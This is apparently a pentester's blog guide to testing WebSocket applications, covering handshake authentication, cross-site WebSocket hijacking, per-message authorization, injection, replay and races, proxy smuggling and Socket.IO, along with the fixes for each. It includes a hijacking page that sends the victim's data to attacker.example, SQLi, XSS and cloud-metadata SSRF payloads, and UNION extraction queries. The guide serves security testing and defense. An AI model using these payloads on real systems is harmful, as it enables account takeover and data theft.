WebSocket security
A WebSocket handshake happens once. After it, nothing on the wire forces the server to re-check who you are on each message.
The first time I pentested a real-time app, Burp’s proxy history filled up and then showed one strange 101 response. After that, the request-and-response pairs stopped, but the app was clearly still busy.
That 101 is the WebSocket handshake, and understanding what it does is most of the job. If you have only ever tested HTTP apps, this one fact changes how you test everything after it.
HTTP is a series of short conversations. You ask, the server answers, and the exchange is over. The server does not remember you between them unless you hand it a cookie or a token each time. Every request travels the same road on the server: routing, middleware, the auth filters, the WAF, then the code that does the actual work. Every request, every time. That repetition helps the defender, because every request passes the checkpoint.
A WebSocket is one long conversation that stays open. The client and server shake hands once and upgrade the connection. Then one pipe stays open in both directions for as long as the app runs. Messages flow back and forth over it, and the server can push data to you without you asking. There is no new request per message, because there is no new connection.
That checkpoint road gets walked on every HTTP request. On a WebSocket it is walked once, at the handshake. After the pipe is open, whether anything gets re-checked comes down to what the developer wrote inside the message handler. The protocol does not force a check, and neither does the browser. So the pattern you find over and over: identity gets decided at connect time, and every message after that rides an already-trusted pipe.
My mental model: every WebSocket message is its own unauthenticated request that arrives on a pipe that is already open. HTTP-shaped tooling, and a pentester’s muscle memory of “check the request,” does not naturally reach that stream of app-defined messages.
Seeing the frames first
Everything after this assumes you can see the frames and send your own. That setup is where WebSocket work costs more than HTTP testing.
Discovery starts in the proxy:
- Filter the history for
101responses. Each one is a separate open pipe. Map them, and note which socket controls which piece of state. - Read the client for the message vocabulary. This is the same bundle you will later mine for hidden
admin.*types. Catalogue everytypevalue and which direction it travels. - Poke a socket by hand.
wscatis the fastest way in:
wscat -c wss://target.example/socket # then send {} or a malformed frame
Send an empty {} or a malformed frame, and read the reaction:
- A list of valid paths or message types comes back from some handlers. That is a cheap map of the surface.
- A silent close is not a pass. Many servers drop the connection when they cannot parse the input. A drop usually means your field names or types are wrong, and you did not hit a security control.
- Get the exact field names from the client before you read anything into how the server reacts.
On a busy socket, wsprobe analyze builds this catalogue from a capture. It drops the heartbeats, counts each message type and direction, pairs requests with replies, and writes a draft profile.
Two separate layers of encryption can get in the way, and keeping them apart matters, because breaking one still leaves the other.
The first layer is the transport:
wss://is WebSocket over TLS, the same TLS that sits under HTTPS. It wraps the handshake and every frame.ws://is cleartext. Anyone on the network path can read and change it.- Browsers block
ws://to a remote host from an HTTPS page, as mixed content.localhostand127.0.0.1are the exception, because the browser trusts them. That matters for the localhost attack in the CSWSH section. - So you almost always see
wss, and your proxy’s certificate must be trusted before anything shows up. - On mobile, that is the hard part. Flutter apps ship their own TLS stack and ignore the system proxy and CA store. An empty frame pane usually means the interception is incomplete, and the socket traffic is still there. Put the bypass in place and the
wssframes appear.
The second layer is inside the frame. Some apps encrypt or obfuscate the payload themselves, on top of TLS. Interception works, but the proxy still shows gibberish, because the client scrambled the bytes before they reached the socket. Stop work on the transport and go after the client:
- Hook its encode and decode functions with Frida, so you read and write messages where the app does.
- Or rebuild the format once you understand it.
Testing the handshake: the four-question matrix
Because the handshake is usually the only place the app checks who you are, it is worth taking apart.
To open a WebSocket, a browser sends an ordinary HTTP GET. A few extra headers ask the server to upgrade the connection to a WebSocket. If the server agrees, it replies with 101 Switching Protocols instead of 200 OK. That 101 is the moment the connection stops being HTTP and becomes a raw two-way socket. Everything the app uses for auth is in that first GET:
- the cookie
- the Origin header
- any token in the query string
- any token in the
Sec-WebSocket-Protocolsubprotocol. Apps reuse this header for a token because a browser will not let a page set an Authorization header on a WebSocket.
A sane implementation validates all of it at the handshake and rejects the upgrade if anything is wrong.
So on a WebSocket target, work the handshake as a small matrix before touching a single frame. Four questions:
- Does an unauthenticated upgrade succeed? Drop the token and the cookie, send the upgrade, and see whether the server opens the socket. It should refuse. When it does not, anyone can reach the message handlers behind that socket without logging in, a serious bug on its own.
- Does an expired or foreign token get through? Replay an expired token, then another user’s token, and confirm both are rejected at the upgrade. Many servers check that a token is present and well-formed. They skip the check that it is still valid and belongs to the user who connects.
- Is
Sec-WebSocket-Keybeing mistaken for a credential? It looks credential-shaped, but it authenticates nothing. It is a random base64 value the client sends so the server can echo back a derivedSec-WebSocket-Acceptand prove it understood the upgrade. Code that treats that header as proof of identity is a finding in itself. - Is there an anti-CSRF token independent of the cookie? The handshake needs an unpredictable value that an attacker’s page cannot guess or replay. It must travel outside the cookies that the browser sends on its own. If the only proof of identity on the upgrade is a cookie the browser attaches automatically, you have the precondition for the next problem.
wsprobe matrix sends these cases and the Origin variants from the next section in one pass. It reports what the server did, as observations for you to reproduce.
Cross-site WebSocket hijacking (CSWSH)
The same-origin policy stops a random website from reading your bank’s data while you are logged in. It does not protect WebSockets, because of how the pieces were built.
CORS exists to stop a script on one site from reading a response from another, by blocking cross-origin reads. But a WebSocket handshake is just a GET on the wire. The browser sends it to any origin with the victim’s cookies attached, the same way it sends a cross-site form post. Once the socket opens, the page that opened it can read every message the server pushes back. CORS never steps in, because it polices fetches and reads and was never watching sockets get opened.
That gap has a name: Cross-Site WebSocket Hijacking, or CSWSH. It needs two conditions:
- The server’s only proof of identity is a cookie that the browser attaches.
- The server does not check the Origin header.
Then any page on the internet can open an authenticated socket with the victim’s session. It can send messages as the victim and read everything the server pushes back. It is CSRF, except instead of one blind request the attacker gets a full, readable, two-way channel.
The attack page is tiny. A few lines of JavaScript sitting on any site the victim happens to visit:
<script>
var ws = new WebSocket('wss://target.example/socket');
ws.onopen = () => ws.send('get_profile');
ws.onmessage = e => fetch('https://attacker.example/', {method:'POST', body:e.data});
</script>
The victim’s browser attaches their cookies to the handshake for you. The socket opens as them. The attacker’s page reads the pushed data and ships it off.
The real work in confirming CSWSH is beating the Origin check, because a server that validates Origin still gets it wrong in predictable ways.
- Strip the Origin header entirely and see if the upgrade still succeeds.
- Set it to
null, which some frameworks treat as trusted. - Try a sibling subdomain if the app trusts its own domain broadly.
- Go after the regex, because Origin allowlists are often a pattern match rather than an exact-match set.
A rule meant to allow *.example.com written loosely will accept example.com.attacker.net or attackerexample.com, depending on where the anchors are missing. When the allowlist is a regex, assume it is bypassable until you have proven otherwise.
Keep in mind what the Origin check is for. A browser sets Origin, and a page cannot forge it. So the check stops one thing: another site’s page that uses the victim’s browser against your socket. It authenticates nothing. A native app, a desktop client or a server-to-server integration sends no Origin at all, and a script can set it to anything. So a missing Origin getting through matters on a browser-only socket, but it is not a finding when the same socket also serves native clients.
Chrome treats a cookie with no SameSite attribute as Lax, which blunts classic CSWSH, since the browser leaves a Lax cookie off a cross-site handshake. That is a browser mitigation, added later, and it leaves three gaps:
- Cookies set to
SameSite=Nonestill go out on a cross-site handshake. - Auth that does not use a cookie is not covered at all.
- Same-site requests still carry Lax cookies. A handshake from a sibling subdomain you control, served over HTTPS, carries the victim’s cookie. That attack is harder, because you first need a page on one of the target’s own subdomains.
The correct control is on the server, in two parts:
- Validate the Origin header at the handshake.
- Require a token that cannot be guessed and is not the cookie. This is the real fix.
Here is why the token works. A cookie is the one credential that the browser sends by itself, whichever page started the request. That is how the attacker’s socket connected as you. A token the app adds by hand, in a header or the subprotocol, does not go out automatically. The attacker’s page cannot read it either, because the browser keeps your site’s storage away from other sites. So the attacker’s socket arrives with no token, and the handshake fails.
Rolling this out on a live app has one trap. If the new check rejects every upgrade without an allowed Origin, it locks out every native client on the day it ships. Allowlist the browser origins exactly, and let clients with no Origin through only when they present the token. An “empty Origin is fine” exception with no token behind it reopens the hole for anything that is not a browser.
This class hits local software hardest. A WebSocket server on localhost with no Origin check is reachable from any page the user visits, because the page can just open ws://localhost:port.
- Look at desktop apps, Electron apps, IDE extensions, dev servers and AI-agent tooling. A malicious page that reaches a local agent can drive it and reach whatever the agent can.
- Check first for an open localhost socket with no Origin check on its handshake.
- Storybook’s dev server had exactly this bug. Any page the developer visited could send it messages. The save-story handler wrote the payload into source files, which then got committed and spread.
Since Chrome 147, a public page needs the user’s local network permission before it can open a WebSocket to localhost. Do not lean on it. It is Chromium-only, and one click on a prompt the user does not understand grants it. Check that the server validates Origin underneath, and report on that.
Per-message authorization: the highest-value bug class
Say the handshake is solid: good Origin checks, a real non-cookie token, expired tokens bounced. Most of the interesting bugs are not there anyway. They are in the thousands of messages that come after. Per-message authorization deserves the bulk of your time, because it is the highest-value class on almost every real-time target.
The mechanism is the one from the top of this post. The server decided who you are at connect time, and then it trusted the pipe. Every frame is its own little API call, usually shaped like {"type":"deleteRecord","id":42}. To make that call safe, the server must check your role and your ownership of the object on each frame, when it arrives. Permission to open the socket is not enough. Plenty of servers check the first frame, or check nothing, and trust the rest.
{"type":"getProfile"} ✓ role checked
{"type":"admin.grantRole"} ✗ not re-checked
The first move is harvesting privileged message types out of the client. Apps often ship the full message vocabulary to every client, admin.* included. They only hide the buttons from users who should not have them. The handlers are still wired up on the server; the only thing keeping a normal user out is that their screen never draws the control.
- Read the client bundle. On web, search the JavaScript in DevTools for
typeor the event names. On mobile, decompile the app (jadx for Android, Blutter for a Flutter binary) and grep the strings. - List the message types you were never offered, like
admin.grantRoleoruser.export. - Connect as a low-privilege account and send them. If the server acts on an admin-only frame from a normal user, authorization is broken at the exact layer nobody wired a check into.
IDOR shows up the same way, one field deeper. Frames carry object ids, and nothing on the pipe checks who owns them. Take {"type":"document","id":1002} and try 1003, then do the same with wallet, seat, order and message ids. Two accounts make it fast:
- Open a socket as account A and another as account B.
- Request the same object by id from both.
- Diff the replies. If A can get B’s object over A’s own socket, that is a clean broken-object-level-authorization finding. It is usually high impact, because these objects are the app’s core data.
In wsprobe the two-account check is diff, and walking an id over a range is sweep, which sends one request at a time:
wsprobe diff target.yaml --frame '{"type":"getRecord","id":1002}' --token-a a.tok --token-b b.tok
wsprobe sweep target.yaml --frame '{"type":"getRecord","id":0}' --field id --values 1001,1002,1003
A variant that is routinely missed: GraphQL subscriptions. Queries and mutations go over HTTP and get the usual review. Subscriptions use a WebSocket so the server can push updates. Two checks:
- Authorization on the subscribe frame. It often exists only on the HTTP path, so test the subscribe frame on its own.
- Introspection over the socket. A separate WebSocket server with its own config often serves subscriptions. Introspection can be off on the HTTP endpoint and still on there.
Sessions that outlive logout
The connect-time check has a second consequence, and it is the one I would test right after authorization. A socket that was authenticated when it opened stays authenticated until it closes. Logout, a password reset, an expired token, or an admin who removes your role all change the session on the HTTP side. None of them touches a socket that is already open. On an app that holds one connection for hours, that is hours of access the account should have lost.
The test needs two browser tabs, or a tab and a script:
- Open the socket in one tab.
- In the other, log out, change the password, or have an admin drop your role.
- Back on the open socket, keep sending frames that need the old privilege. If they still work, the server is trusting a session that has ended.
- Repeat with a short-lived token and let it expire.
The fix is on the server:
- Check token expiry on every message, or on a timer for high-rate sockets.
- Map each session to its open connections, so logout, password reset and role changes close those sockets.
- Tie any cached authorization decision to the same revocation, or the cache quietly brings the bug back.
Injection through frames the WAF does not parse
Injection over a WebSocket is often easier than over HTTP.
A WAF is tuned to read HTTP: methods, paths, headers, and query strings, matched against known-bad patterns. A WebSocket frame is none of those. After the upgrade, the bytes on the wire are an app-defined message body that most WAFs do not parse at all. That causes three gaps:
- A payload that the WAF blocks in an HTTP parameter goes through in a JSON field inside a frame.
- The server code behind the socket often does not expect raw user input from this path, so the sanitization an HTTP endpoint gets is frequently missing.
- If the WAF never parses frames, the app’s own log is the only record of an abused socket. So the fix includes a log of each frame’s type, user, object id and authorization decision.
Every classic bug is in play. You put the payloads directly into each field of the frame and watch what the server does:
{"username":"admin' OR '1'='1' -- ","password":"x"} // SQLi / auth bypass
{"message":"<img src=0 onerror=alert(1)>"} // stored XSS, rendered in another client
{"host":"http://169.254.169.254/latest/meta-data/"} // SSRF to cloud metadata
- Stored XSS pays off most on real-time apps. The server pushes your chat or notification message to every connected client, so one frame can hit everyone in a room.
- SSRF to
169.254.169.254is the high-value probe. A handler that fetches a URL from a frame field can often reach the instance metadata service and its cloud credentials. IMDSv2 blocks a GET-only SSRF because it wants aPUTfor a token first, but plenty of estates still run IMDSv1. - XXE if any field is parsed as XML, and command injection if the backend shells out.
When the backend is SQL and you get a reflected error or a differential response, the socket becomes a normal injection target. Here is the shape on a SQLite backend, after you find an injectable field. Break out of the query, find the column count, then use UNION to get the data.
" UNION SELECT 1,sqlite_version(),3,4-- -
" UNION SELECT 1,GROUP_CONCAT(sql),3,4 FROM sqlite_master WHERE type='table'-- -
Replay and race conditions on state-changing frames
The last frame-level class is about time rather than content: what happens when you send the same message twice, or a thousand copies at once.
Replay. Frames usually carry no nonce, sequence number or signature, so a state-changing frame can often be sent again as is. On anything that moves value (a purchase, a payout, a bonus claim, a transfer), capture the frame and re-fire it. The server should reject the duplicate by a nonce or transaction id it tracks. Many do not. wsprobe replay sends a captured sequence of outbound frames again on a new authenticated socket, and can change one field on the way. After the fix, the same run is a regression check.
Race. Fire many identical frames at the same instant to hit the gap between the server checking a condition and committing the result. Take a balance check that reads “do you have enough” and then deducts. If several frames arrive before the first commit, it can approve several deductions from one balance.
Burp’s WebSocket Turbo Intruder has a THREADED engine built for this: one connection per worker thread, all firing in parallel. (Its TURBO engine is the opposite, one connection pushing sequential volume.) Point THREADED at a limited resource, a one-per-account coupon or a single-use credit, and watch for it being consumed more than once.
Both tests change real state, and a race that works leaves real duplicate transactions. Before you start:
- Agree with the client how to reconcile the duplicates.
- On shared infrastructure, keep THREADED to a few dozen connections. That is usually enough to hit the gap.
Smuggling past a fronting proxy
This one lives below the app, in the reverse proxy in front of the socket. The trick is to make the proxy and the backend disagree about whether a WebSocket was opened.
Against a proxy that does not check the backend’s answer:
- Send an upgrade with a bogus
Sec-WebSocket-Version. - The backend rejects it, but the proxy assumes the upgrade worked and keeps the connection open as a raw tunnel.
- Send plain HTTP requests to internal APIs through it, past every path and auth rule on the proxy.
Against a proxy that checks for the 101 (nginx does):
- Find a backend endpoint that you can make fetch a URL, an SSRF for example.
- Point it at a server you control that answers 101.
- The proxy sees the 101 and opens the tunnel.
Try this whenever a reverse proxy sits in front of a socket. websocket-smuggle has working examples of both versions.
Socket.IO framing, automation and tooling
Everything above applies to WebSockets in general, whether the app sends raw JSON or wraps its frames in a library. The wrappers you meet are usually Socket.IO, SignalR or MQTT over WebSocket. Socket.IO is the most common. It adds its own message format on top of the socket, and if you do not speak it, the server drops you.
How to spot it:
- The
EIOquery parameter on the handshake:EIO=4on current servers,EIO=3on Socket.IO 1.x and 2.x. - A session id, the
sid, that the server returns.
Each frame is a digit-prefixed string. The first digit is the Engine.IO packet type (Engine.IO is the lower transport layer Socket.IO is built on). When that digit is 4 (a message), a second digit gives the Socket.IO packet type. The rest is a JSON array of the event name and its data. Control packets such as open, ping and pong are a single digit. The ones you need:
0for open2and3for the ping and pong keepalives40to connect to the namespace, which you have to send first onEIO=4(onEIO=3the default namespace connected implicitly)42["eventName", {…}]for an event, where the JSON array holds the event name and payload
Send a raw JSON blob without the 42 prefix and it goes nowhere.
Two things break automation here:
- The
sid. The server rejects frames on a dead or rotatedsid. A tool that reconnects mid-run must get the newsidand put it in the query string of every later request. That means the polling requests and the upgrade URL. Use a Burp macro or a small middleware. Without that, a fuzzer dies after one request. - Per-connection tokens. If the app mints a single-use token per connection, re-authenticating mid-batch revokes the token the live socket is using. The socket then returns 401s that are easy to misread as results. Harvest one token, share it, and do not re-mint while a run is going.
wsprobe’s Socket.IO codec handles this layer on EIO=4 targets. Its token settings cover both problems: where the token goes, and whether to fetch it per connection, reuse it, or refresh it on a timer.
Socket.IO also has a fallback. By default it starts on HTTP long-polling and upgrades to WebSocket when it can. If the upgrade is blocked, the session stays on polling (?transport=polling), and the same messages travel as ordinary POSTs and GETs. The app’s own client may be set to WebSocket only, but you are not the app’s client. Unless the server turns polling off, which by default it does not, you can drive the whole message stream over plain HTTP.
A network control that only blocks the WebSocket upgrade does not stop anything. The same messages go through as plain HTTP requests, which your normal tools already handle. Whenever Socket.IO is in play, test both transports. The long-polling path is often the weaker one, because the defenders only thought about “the WebSocket.”
That HTTP fallback also solves a practical automation problem. Tools like sqlmap assume request-and-response HTTP and cannot cope with a dynamic per-connection token or a persistent socket.
The bridge pattern solves this. A small local HTTP server takes each request and opens a new authenticated socket. It puts the payload into the target frame, sends it, and returns the reply as the HTTP body. The HTTP tool never sees the socket. So every HTTP fuzzer can now reach a frame field. wsprobe’s bridge command does this. Give it the frame with a placeholder for the payload, and it handles the handshake and the token refresh:
wsprobe bridge target.yaml --frame '{"q":"§FUZZ§"}'
sqlmap -u 'http://127.0.0.1:8081/?fuzz=test' --batch
The bridge listens on loopback only and sends one frame at a time, so a fuzzer cannot flood the target through it. Against OWASP DVWS, sqlmap found the injection in the frame field and dumped a users table through the socket.
On tooling in general: Burp covers a lot of this post. By hand, most targets need only four parts of it: the WebSocket history, Repeater for single frames, Turbo Intruder for races, and the socketsleuth extension for two-account checks. What I kept rebuilding on each engagement was everything around that: a client that owns the authenticated socket and holds state across frames. That became wsprobe, open source at github.com/munishkharb/wsprobe, and it is the tool behind the commands in this post.
Sources and further reading
To go deeper, start with PortSwigger, build something small that opens a socket by hand, then work down this list.
- PortSwigger: WebSockets: the best plain-English starting point for the basics.
- PortSwigger: Cross-site WebSocket hijacking: where the “the message runs in the session context of the handshake” framing clicked for me.
- WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine: PortSwigger Research on the race and prototype-pollution angles, in depth.
- RFC 6455: The WebSocket Protocol: the protocol spec itself, including the per-frame masking rule.
- OWASP Web Security Testing Guide: Testing WebSockets: the methodical checklist version, if you like working from a formal reference.
- Engine.IO protocol: the transport Socket.IO is built on, including the default long-polling-then-upgrade behavior.
- Socket.IO protocol: the packet format behind the
42[...]frames. - How to Hack WebSockets and Socket.io: Black Hills on Socket.IO and the long-polling fallback that quietly bypasses WebSocket-only firewall rules.
- Cross-Site WebSocket Hijacking Exploitation in 2025: Include Security on SameSite as a partial mitigation, and why Private Network Access never covered WebSockets.
- awesome-websocket-security: a running index of tools and disclosed bugs, where I go to browse.